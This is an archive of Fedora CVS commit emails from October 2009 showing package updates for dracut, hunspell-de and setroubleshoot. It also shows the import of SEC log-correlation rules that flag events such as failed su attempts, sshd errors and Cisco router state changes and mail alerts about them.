@@ -15,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 14%{?rdist}
+Release: 15%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -188,6 +187,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-15
+- s390 ccw: s/layer1/layer2/g
+
 * Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-14
 - add multinic support
 - add s390 zfcp support


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	8 Oct 2009 16:16:07 -0000	1.23
+++ sources	8 Oct 2009 16:22:48 -0000	1.24
@@ -1 +1 @@
-2165d44147737154171e2c6bce71312b  dracut-002-218292f6.tar.bz2
+355e63ceae9b8dbcec058ec69ba98db2  dracut-002-2331d1ff.tar.bz2



From caolanm at fedoraproject.org  Thu Oct  8 16:25:26 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu,  8 Oct 2009 16:25:26 +0000 (UTC)
Subject: rpms/hunspell-de/devel .cvsignore, 1.5, 1.6 hunspell-de.spec, 1.12, 
	1.13 sources, 1.5, 1.6 igerman98-20090107-useaspell.patch, 1.1, NONE
Message-ID: <20091008162526.8A85511C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-de/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2662

Modified Files:
	.cvsignore hunspell-de.spec sources 
Removed Files:
	igerman98-20090107-useaspell.patch 
Log Message:
latest version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-de/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	26 Feb 2009 23:38:39 -0000	1.5
+++ .cvsignore	8 Oct 2009 16:25:26 -0000	1.6
@@ -1 +1 @@
-igerman98-20090107.tar.bz2
+igerman98-20091006.tar.bz2


Index: hunspell-de.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-de/devel/hunspell-de.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- hunspell-de.spec	25 Jul 2009 02:23:46 -0000	1.12
+++ hunspell-de.spec	8 Oct 2009 16:25:26 -0000	1.13
@@ -1,8 +1,8 @@
 Name: hunspell-de
 Summary: German hunspell dictionaries
-%define upstreamid 20090107
+%define upstreamid 20091006
 Version: 0.%{upstreamid}
-Release: 4%{?dist}
+Release: 1%{?dist}
 Source: http://www.j3e.de/ispell/igerman98/dict/igerman98-%{upstreamid}.tar.bz2
 Group: Applications/Text
 URL: http://www.j3e.de/ispell/igerman98
@@ -10,7 +10,6 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 License: GPLv2 or GPLv3
 BuildArch: noarch
 BuildRequires: aspell, hunspell
-Patch1: igerman98-20090107-useaspell.patch
 
 Requires: hunspell
 
@@ -19,7 +18,7 @@ German (Germany, Switzerland, etc.) huns
 
 %prep
 %setup -q -n igerman98-%{upstreamid}
-%patch1 -p1 -b .useaspell.patch
+sed -i -e "s/AFFIX_EXPANDER = ispell/AFFIX_EXPANDER = aspell/g" Makefile
 
 %build
 make hunspell/de_AT.dic hunspell/de_AT.aff \
@@ -65,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/myspell/*
 
 %changelog
+* Thu Oct 08 2009 Caolan McNamara <caolanm at redhat.com> - 0.20091006-1
+- latest version
+- drop integrated igerman98-20090107-useaspell.patch
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20090107-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-de/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	26 Feb 2009 23:38:39 -0000	1.5
+++ sources	8 Oct 2009 16:25:26 -0000	1.6
@@ -1 +1 @@
-fa6bc72afec56e90f035b8fa22e922f6  igerman98-20090107.tar.bz2
+96383fa731e49b3a4e63ef026e150ac0  igerman98-20091006.tar.bz2


--- igerman98-20090107-useaspell.patch DELETED ---



From dwalsh at fedoraproject.org  Thu Oct  8 16:29:39 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  8 Oct 2009 16:29:39 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.131,
	1.132 setroubleshoot.spec, 1.171, 1.172 sources, 1.144, 1.145
Message-ID: <20091008162939.9E22611C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3949

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Thu Oct 8 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.38-1
- Show that the application is starting.
- Fix ignore sealert button



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- .cvsignore	7 Oct 2009 18:40:26 -0000	1.131
+++ .cvsignore	8 Oct 2009 16:29:39 -0000	1.132
@@ -49,3 +49,4 @@ setroubleshoot-2.2.34.tar.gz
 setroubleshoot-2.2.35.tar.gz
 setroubleshoot-2.2.36.tar.gz
 setroubleshoot-2.2.37.tar.gz
+setroubleshoot-2.2.38.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.171
retrieving revision 1.172
diff -u -p -r1.171 -r1.172
--- setroubleshoot.spec	7 Oct 2009 18:40:26 -0000	1.171
+++ setroubleshoot.spec	8 Oct 2009 16:29:39 -0000	1.172
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.37
+Version: 2.2.38
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,10 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Thu Oct 8 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.38-1
+- Show that the application is starting.
+- Fix ignore sealert button
+
 * Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
 - Don't throw up an error box if yum cache is not setup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- sources	7 Oct 2009 18:40:26 -0000	1.144
+++ sources	8 Oct 2009 16:29:39 -0000	1.145
@@ -1 +1 @@
-b439814afe8ed4ff775cfea0b897834a  setroubleshoot-2.2.37.tar.gz
+4bcaa39f543097e35c02f0c42c627a29  setroubleshoot-2.2.38.tar.gz



From stefansf at fedoraproject.org  Thu Oct  8 16:44:34 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Thu,  8 Oct 2009 16:44:34 +0000 (UTC)
Subject: rpms/sec/EL-5 bsd-general.sec, NONE, 1.1 bsd-mpd.sec, NONE,
	1.1 cisco-syslog.sec, NONE, 1.1 import.log, NONE,
	1.1 pix-general.sec, NONE, 1.1 .cvsignore, 1.3, 1.4 amavisd.sec,
	1.1, 1.2 bsd-MONITOR.sec, 1.1, 1.2 bsd-PHYSMOD.sec, 1.1,
	1.2 bsd-USERACT.sec, 1.1, 1.2 conf.README, 1.1, 1.2 cvs.sec, 1.1,
	1.2 dameware.sec, 1.1, 1.2 hp-openview.sec, 1.1, 1.2 labrea.sec,
	1.1, 1.2 pix-security.sec, 1.1, 1.2 pix-url.sec, 1.1,
	1.2 portscan.sec, 1.1, 1.2 sec.init, 1.1, 1.2 sec.logrotate, 1.1,
	1.2 sec.spec, 1.3, 1.4 snort.sec, 1.1, 1.2 snortsam.sec, 1.1,
	1.2 sources, 1.4, 1.5 ssh-brute.sec, 1.1, 1.2 ssh.sec, 1.1,
	1.2 vtund.sec, 1.1, 1.2 windows.sec, 1.1, 1.2 001_init.sec, 1.1,
	NONE clamav.sec, 1.1, NONE dbi-example.sec, 1.1,
	NONE general.sec, 1.1, NONE mpd.sec, 1.1, NONE syslog-ng.txt,
	1.1, NONE
Message-ID: <20091008164434.88BE911C00DB@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7895/EL-5

Modified Files:
	.cvsignore amavisd.sec bsd-MONITOR.sec bsd-PHYSMOD.sec 
	bsd-USERACT.sec conf.README cvs.sec dameware.sec 
	hp-openview.sec labrea.sec pix-security.sec pix-url.sec 
	portscan.sec sec.init sec.logrotate sec.spec snort.sec 
	snortsam.sec sources ssh-brute.sec ssh.sec vtund.sec 
	windows.sec 
Added Files:
	bsd-general.sec bsd-mpd.sec cisco-syslog.sec import.log 
	pix-general.sec 
Removed Files:
	001_init.sec clamav.sec dbi-example.sec general.sec mpd.sec 
	syslog-ng.txt 
Log Message:
- New upstream release
- SPEC file cleanup
- Init script cleanup
- Removed some examples because of licensing issues. Upstream has clarified
  and changed most of the license tags to GPLv2. Additionally, upstream
  will include the examples in the next release.
- Removed a provide statement since a period was in the name and no other
  package required that special name.



--- NEW FILE bsd-general.sec ---
# General log events, unix systems. From various sources
#
# Copyright (C) 2003-2009 Jim Brown
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#
#   Bad su 
# ----------- 
#
type=Single
ptype=RegExp 
desc=$0 
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com

type=Single
ptype=RegExp
desc=$0
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com 


# MONITOR.conf - SEC rules to pick up disruptive monitoring
# events.
#
#Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
#----------------------------------------------------------------------
#Nov 15 20:02:48 foohost syslogd: exiting on signal 15
#Nov 22 02:00:02 foohost syslogd: restart
#Nov 11 15:58:55 foohost /kernel: de0: promiscuous mode enabled
#Nov 11 15:58:57 foohost /kernel: de0: promiscuous mode disabled
#

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: exiting on signal (\d+)
desc=$0
action=write - MONITOR: $1 syslog exit on signal $2 at %t

#
# Syslog Restart
# ---------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: restart
desc=$0
action=write - MONITOR: $1 syslog restart at %t

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+) promiscuous mode (\S+)
desc=$0
action=write - MONITOR: $1 $2 promiscuous mode $3 at %t


#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=write - USERACT: $1 sshd $2 problem, text: $3 at %t

#
# sshd Accepted
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: Accepted (.*)
desc=$0
action=write - USERACT: $1 sshd accepted login, text: $2 at %t

#
# login FAILURES
# ---------------
#
#type=Single
#ptype=RegExp
#pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+login: (.*?FAILURE.)(.*?ON) (.*)
#desc=$0
#action=write - USERACT: $1 login $2 on $4 at %t


#SSH Auth failure on bsd 5
#type=Single
#ptype=RegExp
#pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: error: PAM: authentication error for (/S+) from (/S+)
#desc=$0
#action=pipe 'SSHD: 1 $1 2 $2 3 $3 to 4 $4 on 5 $5 at %t' /usr/bin/mail -s "SSHD: $1 $2 $3 to $4 on $5 at %t' alerts at example.com

#
# su  bad
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (BAD SU) (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'USER: $1 SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com

#Nov 10 19:40:03 foohost su: jpb to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU jpb to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU badboy to root on /dev/ttyp0
#
#
# su  good to root
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (\S+) to root on (\S+)
desc=$0
action=pipe 'USER: $1 GOOD SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com  
#action=write - USERACT: $1 su: $2 to ROOT on $4  at %t

#
# Cabling Problem
# ----------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+)\s+(.*?:) cable problem
desc=$0
action=event 0 $1 PHYSMOD:ORANGE  cable problem on $2, text: $3 at %t



# USERACT - Events concerning user activities.
#
# Sample BSD logs involving logins, change of UID and privilege escalations.
#---------------------------------------------------------------------------
#Nov 14 12:14:58 foohost sshd[3388]: fatal: Timeout before authentication for 192.168.1.1
#Nov 14 19:58:34 foohost sshd[6597]: Bad protocol version identification '^B^S^D^Q^L' from 192.168.1.100
#Oct 18 06:16:53 foohost sshd[131]: Accepted keyboard-interactive/pam for foouser from 192.168.1.1 port 1077 ssh2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2, mysql
#Oct 18 03:20:46 foohost login: 2 LOGIN FAILURES ON ttyv0
#Oct 18 02:52:04 foohost login: ROOT LOGIN (root) ON ttyv1
#Oct 18 06:11:11 foohost login: login on ttyv0 as root
#Nov 10 19:40:03 foohost su: foouser to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU foouser to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU goodboy to root on /dev/ttyp0
#

#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=pipe 'USER: $1 su: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  sshd $2 problem, text: $3 at %t

#
# login FAILURES
# ---------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(sshd|login): (.*?FAILURE.)(.*?ON) (.*)
desc=$0
action=pipe 'USER: $1: Login Failure $2 on $4 at %t' /usr/bin/mail -s "USER: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  login $2 on $4 at %t


# NETWACT - SEC rules to pick up suspicious network events.
#
# Sample BSD logs involving odd or suspicious network activity.
#--------------------------------------------------------------
#Jun  3 17:46:24 foohost named[38298]: client 10.12.127.176#3714: request has invalid signature: tsig verify failure
#Apr 14 16:23:08 foohost /kernel: arp: 10.10.152.12 moved from 00:90:27:37:35:cf to 00:d0:59:aa:61:11 on de0
#Apr  1 11:23:39 sixshooter /kernel: Limiting closed port RST response from 368 to 200 packets per second


#
# named Dynamic DNS Update rejection
# ----------------------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+named\[\d+\]: client (\S+): request has invalid signature:(.*)
desc=$0
action=pipe 'NET: $1 dyndns attempt from $2' /usr/bin/mail -s "NET: $1 dyndns attempt from $2, text: $3 at %t" alerts at example.com

#
# MAC address moved
# -----------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: arp: (\S+) moved from (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'NET: $1 arp moved on $2' /usr/bin/mail -s "NET: $1 arp moved on $2 from: $3 to $4 on $5 at %t" alerts at example.com

#
# DoS RST rate limit
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Limiting closed port RST response from (\d+) to (\d+)
desc=$0
action=pipe 'NET: $1 RST limit enforced: $2 to $3 at %t' /usr/bin/mail =s "NET: $1 RST limit enforced: $2 to $3" alerts at example.com



# COMPROM - SEC rules to pick up potential system compromise events.
#
# Sample BSD logs involving potential system compromise.
#-------------------------------------------------------
#May 25 18:09:55 foohost ntpd[1325]: ntpd exiting on signal 11
#Jul 21 18:33:16 foohost /kernel: pid 55454 (ftpd), uid 1001: exited on signal 8
#Apr  9 12:57:06 foohost /kernel: pid 28039 (telnet), uid 0: exited on signal 3 (core dumped)

#
# ntpd crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+ntpd\[\d+\]: ntpd exiting on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 ntpd crashed on signal $2 at %t' /usr/bin/mail -s "CRASH: $1 ntpd crashed" alerts at example.com

#
# Process crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: pid \d+ \(\S+\), uid (\d+): exited on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 $2 crashed on signal $4, uid $3 at %t' /usr/bin/mail -s "CRASH: $1 $2 crashed" alerts at example.com



# PROCESS - SEC rules to pick up suspicious process events.
#
# Sample BSD logs involving unusual processes.
#---------------------------------------------
#Mar 23 08:05:52 foohost thttpd[126]: thttpd/2.25b 29dec2003 starting on port 8090

#
# Suspicious processes
# --------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(thttpd)\[(\d+)\]:(.*) 
desc=$0
action=pipe 'SUSPROC: $1 suspicious process  $2 pid $3, text: $4 at %t' /usr/bin/mail -s "SUSPROC: $1 suspicious process  $2" alerts at example.com



# SHUTRST - SEC rules to pick up system shutdown, restart events.
#
# Sample BSD logs involving system shutdown and reset.
#-----------------------------------------------------
#Mar  6 16:28:13 foohost reboot: rebooted by foouser 
#Jul 15 17:35:49 foohost halt: halted by root
#Mar  6 16:29:17 foohost /kernel: Copyright (c) 1992-2003 The FreeBSD Project.

#
# Reboot message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+reboot: rebooted by (\S+)
desc=$0
action=pipe 'REBOOT: $1 rebooted by $2' /usr/bin/mail -s "REBOOT: $1 rebooted by $2" alerts at example.com

#
# Halt message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+halt: halted by (\S+)
desc=$0
action=pipe 'HALT: $1 halted by $2' /usr/bin/mail -s "HALT: $1 halted by $2" alerts at example.com

#
# Restart message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Copyright \(c\) (\S+) The FreeBSD Project
desc=$0
action=pipe 'RESTART: $1 restart message at %t' /usr/bin/mail -s "RESTART: $1 restart message" alerts at example.com



--- NEW FILE bsd-mpd.sec ---
#############################################################################
# BSD mpd events
#
# Copyright (C) 2003-2009 Matt Jonkman
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

type=single
desc = mpd connection start
ptype=regexp
pattern=([A-z._0-9-]*) mpd: PPTP connection from (\d+\.\d+\.\d+\.\d+):\d+
action=add GENERAL_REPORT MPD Start from $2 on $1

type=single
ptype=regexp
pattern=([A-z._0-9-]*) mpd:  Name: (.*)
desc = mpd user auth
action=add GENERAL_REPORT MPD User $2 Auth on $1

type=Single
ptype=RegExp
pattern=([A-z._0-9-]*) mpd: pptp\d: killing connection with (\d+\.\d+\.\d+\.\d+):\d+
desc=mpd connection end
action=add GENERAL_REPORT MPD Connection end from $2 on $1


--- NEW FILE cisco-syslog.sec ---
#############################################################################
# SEC rules for processing Cisco syslog messages
#
# Copyright (C) 2008-2009 Omer Ben-Shalom, Risto Vaarandi
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

# ----- Process system configuration events -----

# System configuration events
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%SYS-5-CONFIG_I:
desc=device configuration

# System configuration sync to standby router
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC:
desc=config sync

# ----- Process reload and restart events -----

# Looks for a reload 
# 
type=single
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD: (.*)
desc=(WARNING) reload requested for $1
action=pipe '%s details:$2' mail -s 'cisco event' root at example.com

# Looks for a reload followed by a restart event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD:
desc=(CRITICAL) $1 RELOAD_PROBLEM
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1).*?%SYS-5-RESTART:
desc2=(NOTICE) $1 RELOAD_OK
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# Looks for a restart without reload command
# 
type=single
ptype=regexp
pattern=(\S+) \d+:.*?%SYS-5-RESTART:
desc=(CRITICAL) $1 restart without reload command
action=pipe '%s' mail -s 'cisco event' root at example.com

# ----- process SNMP authentication failure events -----

# this rule handles the SNMP authentication failures
# only one notification is sent for each source that is doing this per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host (\S+)
desc=(WARNING) Auth fail coming from $2
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process OSPF neighbor change events -----

# This rule handles OSPF neighbor changes
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OSPF-5-ADJCHG:.*?Nbr (\S+) on (\S+) from (\S+) to (\S+), (.*)
desc=(MINOR) OSPF adjacency change: Router $1 reports that the neighbor on $3 ($2) changed from state $4 to state $5 detail:$6
action=event %s; pipe '%s' mail -s 'cisco event' root at example.com

# This rule escalates to CRITICAL if there are more than 5 neighbor changes 
# in 5 seconds
# 
type=SingleWithThreshold
ptype=substr
pattern=(MINOR) OSPF adjacency change
desc=(CRITICAL) More than 5 OSPF neighbor changes in 5 seconds
action=pipe '%s' mail -s 'cisco event' root at example.com
thresh=5
window=5

# ----- process HSRP events -----

# This rule assembles together all HSRP events
# 
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%STANDBY-6-STATECHANGE: (\S+).*?state (\S+) -> (\S+)
desc=HSRP change for $1 interface $2 - changed from $3 to $4
action=add HSRP_$1 %t: %s; set HSRP_$1 5 (report HSRP_$1 mail -s 'cisco events' root at example.com)

# ----- process duplex mismatch events -----

# this rule handles the duplex mismatch event
# only one notification is sent for each port that has duplex mismatch 
# reported per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%CDP-4-DUPLEX_MISMATCH: duplex mismatch discovered on (not \S+) \((.*?)\), with (\S+) (\S+) \((.*?)\)
desc=(WARNING) Duplex mismatch between $1 port $2 ($3), other side is $4 port $5 ($6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process link down and link up events -----

# This rule deals with link down events
# 
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINK-3-UPDOWN: Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINK-3-UPDOWN: Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ BOUNCE
context=!INTERFACE_BOUNCE_WAIT_$1
desc=interface bounce summary event for router $1
action=create INTERFACE_BOUNCE_WAIT_$1 10 (report INTERFACE_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete INTERFACE_BOUNCE_$1)

# accumulate all interface bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) BOUNCE
desc=interface bounce for router $1 interface $2 detected
action=add INTERFACE_BOUNCE_$1 %t: %s

# ----- process line protocol down and line protocol up events -----

# This rule deals with protocol up/down events
#
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 line protocol DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 line protocol BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ line protocol BOUNCE
context=!LINE_PROTOCOL_BOUNCE_WAIT_$1
desc=line protocol bounce for router $1
action=create LINE_PROTOCOL_BOUNCE_WAIT_$1 10 (report LINE_PROTOCOL_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete LINE_PROTOCOL_BOUNCE_$1)

# accumulate all line protocol bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) line protocol BOUNCE
desc=line protocol bounce for router $1 interface $2 detected
action=add LINE_PROTOCOL_BOUNCE_$1 %t: %s

# ----- process late collision events -----

# Late collision alerts 
# 
type=SingleWithThreshold
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%PM_SCP-SP-4-LCP_FW_ABLC: Late collision message from module (\d+), port:(\d+)
desc=(MINOR) Multiple late collision events on $1 module $2 port $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=3600
thresh=5

# ----- process host flap events -----

# host flapping on single vlan 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts flapping between ports $4 and $5 in $1 vlan $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=5

# host flapping on multiple vlans 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts are flapping between ports $4 and $5 in $1 (potentially on multiple VLANs)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=20

# ----- process misc hw events -----

# %FILESYS-SP-STDBY-5-DEV:# flash disk removal
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%FILESYS-SP-STDBY-5-DEV:.*?PCMCIA flash card removed from (\S+)
desc=(WARNING) Flash card removed from $1 $2
action=pipe '%s' mail -s 'cisco event' root at example.com

# %OIR-SP-STDBY-6-CONSOLE
#
type=suppress
ptype=substr
pattern=%OIR-SP-STDBY-6-CONSOLE
desc=console access to route processor changed

# %OIR-SP-6-INSCARD:  - card inserted 
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OIR-SP-6-INSCARD: Card inserted in slot (\d+), (.*)
desc=(HARMLESS) card inserted in $1 slot $2 status:$3
action=pipe '%s' mail -s 'cisco event' root at example.com 

# ----- process module events -----

# %DIAG-SP-3-TEST_FAIL - diagnostics failed on a module
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DIAG-SP-3-TEST_FAIL: Module (\d+): (.*)
desc=(WARNING) diagnostics failed for $1 module $2 detail:$3
action=pipe '%s' mail -s 'cisco event' root at example.com

# %SNMP-5-MODULETRAP
# Looks for a module down followed by module up event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-MODULETRAP: Module (\d+) [Down] Trap
desc=(MINOR) $1 Module DOWN (not back up in a minute)
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %SNMP-5-MODULETRAP: Module ($2) [Up] Trap
desc2=(WARNING) $1 Module $2 BOUNCE (down and back up within a minute)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process irrelevant events (by suppressing) -----

